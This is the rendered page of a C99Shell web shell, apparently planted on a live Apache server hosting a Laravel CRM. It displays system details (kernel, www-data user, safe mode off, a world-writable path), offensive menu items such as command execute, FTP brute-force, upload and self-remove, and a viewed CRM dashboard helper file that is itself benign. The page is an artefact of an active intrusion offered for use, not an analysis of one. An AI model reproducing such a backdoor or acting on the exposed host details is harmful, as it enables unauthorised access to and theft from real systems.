!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Helpers/   drwxrwxrwx
Free 12.98 GB of 57.97 GB (22.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Dashboard.php (3.77 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Helpers;

use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Collection;
use 
Webkul\Admin\Helpers\Reporting\Activity;
use 
Webkul\Admin\Helpers\Reporting\Lead;
use 
Webkul\Admin\Helpers\Reporting\Organization;
use 
Webkul\Admin\Helpers\Reporting\Person;
use 
Webkul\Admin\Helpers\Reporting\Product;
use 
Webkul\Admin\Helpers\Reporting\Quote;

class 
Dashboard
{
    
/**
     * Create a controller instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
Lead $leadReporting,
        protected 
Activity $activityReporting,
        protected 
Product $productReporting,
        protected 
Person $personReporting,
        protected 
Organization $organizationReporting,
        protected 
Quote $quoteReporting,
    ) {}

    
/**
     * Returns the overall revenue statistics.
     */
    
public function getRevenueStats(): array
    {
        return [
            
'total_won_revenue'  => $this->leadReporting->getTotalWonLeadValueProgress(),
            
'total_lost_revenue' => $this->leadReporting->getTotalLostLeadValueProgress(),
        ];
    }

    
/**
     * Returns the overall statistics.
     */
    
public function getOverAllStats(): array
    {
        return [
            
'total_leads'           => $this->leadReporting->getTotalLeadsProgress(),
            
'average_lead_value'    => $this->leadReporting->getAverageLeadValueProgress(),
            
'average_leads_per_day' => $this->leadReporting->getAverageLeadsPerDayProgress(),
            
'total_quotations'      => $this->quoteReporting->getTotalQuotesProgress(),
            
'total_persons'         => $this->personReporting->getTotalPersonsProgress(),
            
'total_organizations'   => $this->organizationReporting->getTotalOrganizationsProgress(),
        ];
    }

    
/**
     * Returns leads statistics.
     */
    
public function getTotalLeadsStats(): array
    {
        return [
            
'all'  => [
                
'over_time' => $this->leadReporting->getTotalLeadsOverTime(),
            ],

            
'won'  => [
                
'over_time' => $this->leadReporting->getTotalWonLeadsOverTime(),
            ],
            
'lost' => [
                
'over_time' => $this->leadReporting->getTotalLostLeadsOverTime(),
            ],
        ];
    }

    
/**
     * Returns leads revenue statistics by sources.
     */
    
public function getLeadsStatsBySources(): mixed
    
{
        return 
$this->leadReporting->getTotalWonLeadValueBySources();
    }

    
/**
     * Returns leads revenue statistics by types.
     */
    
public function getLeadsStatsByTypes(): mixed
    
{
        return 
$this->leadReporting->getTotalWonLeadValueByTypes();
    }

    
/**
     * Returns open leads statistics by states.
     */
    
public function getOpenLeadsByStates(): mixed
    
{
        return 
$this->leadReporting->getOpenLeadsByStates();
    }

    
/**
     * Returns top selling products statistics.
     */
    
public function getTopSellingProducts(): Collection
    
{
        return 
$this->productReporting->getTopSellingProductsByRevenue(5);
    }

    
/**
     * Returns top selling products statistics.
     */
    
public function getTopPersons(): Collection
    
{
        return 
$this->personReporting->getTopCustomersByRevenue(5);
    }

    
/**
     * Get the start date.
     *
     * @return \Carbon\Carbon
     */
    
public function getStartDate(): Carbon
    
{
        return 
$this->leadReporting->getStartDate();
    }

    
/**
     * Get the end date.
     *
     * @return \Carbon\Carbon
     */
    
public function getEndDate(): Carbon
    
{
        return 
$this->leadReporting->getEndDate();
    }

    
/**
     * Returns date range
     */
    
public function getDateRange(): string
    
{
        return 
$this->getStartDate()->format('d M').' - '.$this->getEndDate()->format('d M');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--